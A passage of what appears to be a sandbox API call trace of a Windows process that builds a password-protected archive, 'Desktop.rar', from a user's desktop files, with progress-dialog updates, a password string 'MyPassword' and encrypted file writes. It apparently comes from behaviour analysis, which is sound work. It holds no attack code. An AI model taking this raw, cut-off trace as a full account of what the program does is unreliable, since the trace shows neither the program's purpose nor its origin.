[4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd108 | out: ppv=0x1bd108*=0x3c493a0) returned 0x0 [0063.268] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c493a0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.361] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c493a0, hwnd=0x1020e, ullCompleted=0x8a9d3e, ullTotal=0x954fe3) returned 0x0 [0063.487] TaskbarList:IUnknown:Release (This=0x3c493a0) returned 0x0 [0063.487] GetLastError () returned 0x36b7 [0063.487] SetLastError (dwErrCode=0x36b7) [0063.487] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.487] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.487] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 91%") returned 5 [0063.487] SetWindowTextW (hWnd=0x1022e, lpString=" 92%") returned 1 [0063.487] GetLastError () returned 0x0 [0063.487] SetLastError (dwErrCode=0x0) [0063.487] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.487] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.487] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5c, lParam=0x0) returned 0x5b [0063.488] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.488] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.489] GetFocus () returned 0x10232 [0063.489] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.489] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.489] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.489] GetFocus () returned 0x10232 [0063.489] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.489] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.490] ResetEvent (hEvent=0x1a4) returned 1 [0063.490] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.492] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.492] ResetEvent (hEvent=0x1a4) returned 1 [0063.492] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.493] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.493] GetTickCount () returned 0xa66357 [0063.493] GetLastError () returned 0x0 [0063.494] SetLastError (dwErrCode=0x0) [0063.494] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.494] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.494] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.494] SetWindowTextW (hWnd=0x10218, lpString=" 100%") returned 1 [0063.494] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.494] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=73873027853) returned 1 [0063.494] GetTickCount () returned 0xa66357 [0063.494] GetLastError () returned 0x0 [0063.494] SetLastError (dwErrCode=0x0) [0063.494] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0063.494] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:09:31") returned 8 [0063.494] SetWindowTextW (hWnd=0x10220, lpString="00:10:06") returned 1 [0063.494] GetTickCount () returned 0xa66357 [0063.494] GetLastError () returned 0x0 [0063.494] SetLastError (dwErrCode=0x0) [0063.494] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0063.494] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc100, nMaxCount=2560 | out: lpString="00:00:44") returned 8 [0063.494] SetWindowTextW (hWnd=0x10224, lpString="00:00:46") returned 1 [0063.495] GetTickCount () returned 0xa66357 [0063.495] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd0d8 | out: ppv=0x1bd0d8*=0x3c493a0) returned 0x0 [0063.495] TaskbarList:ITaskbarList3:SetProgressState (This=0x3c493a0, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0063.495] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3c493a0, hwnd=0x1020e, ullCompleted=0x8a9d3e, ullTotal=0x954fe3) returned 0x0 [0063.495] TaskbarList:IUnknown:Release (This=0x3c493a0) returned 0x0 [0063.495] GetLastError () returned 0x36b7 [0063.495] SetLastError (dwErrCode=0x36b7) [0063.495] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0063.495] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0063.495] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0063.495] GetLastError () returned 0x36b7 [0063.495] SetLastError (dwErrCode=0x36b7) [0063.495] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0063.495] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbca0, nMaxCount=2560 | out: lpString=" 88%") returned 5 [0063.495] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x5c, lParam=0x0) returned 0x5c [0063.496] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.496] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.496] GetFocus () returned 0x10232 [0063.496] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.496] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 1 [0063.496] GetMessageW (in: lpMsg=0x1bd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd580) returned 1 [0063.496] GetFocus () returned 0x10232 [0063.496] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd580) returned 1 [0063.496] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.496] ResetEvent (hEvent=0x190) returned 1 [0063.496] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.497] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] ResetEvent (hEvent=0x190) returned 1 [0063.497] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.497] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.497] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.497] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7b47db [0063.498] SetFilePointer (in: hFile=0x198, lDistanceToMove=100, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7b483f [0063.498] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.498] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.498] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.498] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.498] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xac00, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xac00, lpOverlapped=0x0) returned 1 [0063.499] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.499] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=8079323, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7b47db [0063.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7b47db [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.499] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e340 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.499] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e390 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c493d0 | out: hHeap=0x290000) returned 1 [0063.499] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493a0, Size=0x48) returned 0x34e340 [0063.499] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.499] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x64, lpOverlapped=0x0) returned 1 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493a0 [0063.499] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x64) returned 0x351830 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.499] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.499] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7bf43f [0063.499] CloseHandle (hObject=0x1b0) returned 1 [0063.499] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.499] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.499] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.499] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.499] FindFirstFileW (in: lpFileName="PWldfUkUS.mp3", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.499] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.500] CreateFileW (lpFileName="PWldfUkUS.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\pwldfukus.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.500] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.500] GetTickCount () returned 0xa66357 [0063.500] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.500] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.500] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.500] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.500] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="MKzdWyU3NziO.m4a") returned 16 [0063.500] SetWindowTextW (hWnd=0x10216, lpString="PWldfUkUS.mp3") returned 1 [0063.500] GetTickCount () returned 0xa66357 [0063.500] UpdateWindow (hWnd=0x1020e) returned 1 [0063.500] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.500] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.500] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.500] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.500] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0xb8)) [0063.501] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.501] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=73873693334) returned 1 [0063.501] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0xf5a, lpOverlapped=0x0) returned 1 [0063.501] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790f9a, nNumberOfBytesToRead=0xff0a6, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790f9a*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.501] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e390 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.501] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e340 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.501] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.501] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e390 [0063.501] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.501] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.502] GetTickCount () returned 0xa66357 [0063.502] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=73873840650) returned 1 [0063.502] GetTickCount () returned 0xa66357 [0063.502] GetTickCount () returned 0xa66357 [0063.502] GetTickCount () returned 0xa66357 [0063.502] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.502] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.502] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.502] ResetEvent (hEvent=0x1a4) returned 1 [0063.502] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.503] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] ResetEvent (hEvent=0x1a4) returned 1 [0063.503] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.503] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.503] GetTickCount () returned 0xa66357 [0063.503] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=73873957491) returned 1 [0063.503] GetTickCount () returned 0xa66357 [0063.503] GetTickCount () returned 0xa66357 [0063.503] GetTickCount () returned 0xa66357 [0063.503] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.503] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.503] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.503] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.503] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7bf43f [0063.503] SetFilePointer (in: hFile=0x198, lDistanceToMove=95, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7bf49e [0063.503] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.504] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.504] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.504] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.504] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.504] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0xf90, lpOverlapped=0x0) returned 1 [0063.505] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.505] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=8123455, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7bf43f [0063.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7bf43f [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.505] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e340 [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.505] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e390 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.505] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.505] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e340 [0063.505] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.505] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x5f, lpOverlapped=0x0) returned 1 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.505] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.505] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7c042e [0063.505] CloseHandle (hObject=0x1b0) returned 1 [0063.505] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.505] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.505] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.505] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.505] FindFirstFileW (in: lpFileName="Qes6-o-.docx", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.505] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.505] CreateFileW (lpFileName="Qes6-o-.docx" (normalized: "c:\\users\\whuoxysd\\desktop\\qes6-o-.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.505] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.505] GetTickCount () returned 0xa66357 [0063.505] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.505] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.505] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.506] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.506] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="PWldfUkUS.mp3") returned 13 [0063.506] SetWindowTextW (hWnd=0x10216, lpString="Qes6-o-.docx") returned 1 [0063.506] GetTickCount () returned 0xa66357 [0063.506] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.506] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.507] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.507] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.507] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0xc8)) [0063.507] 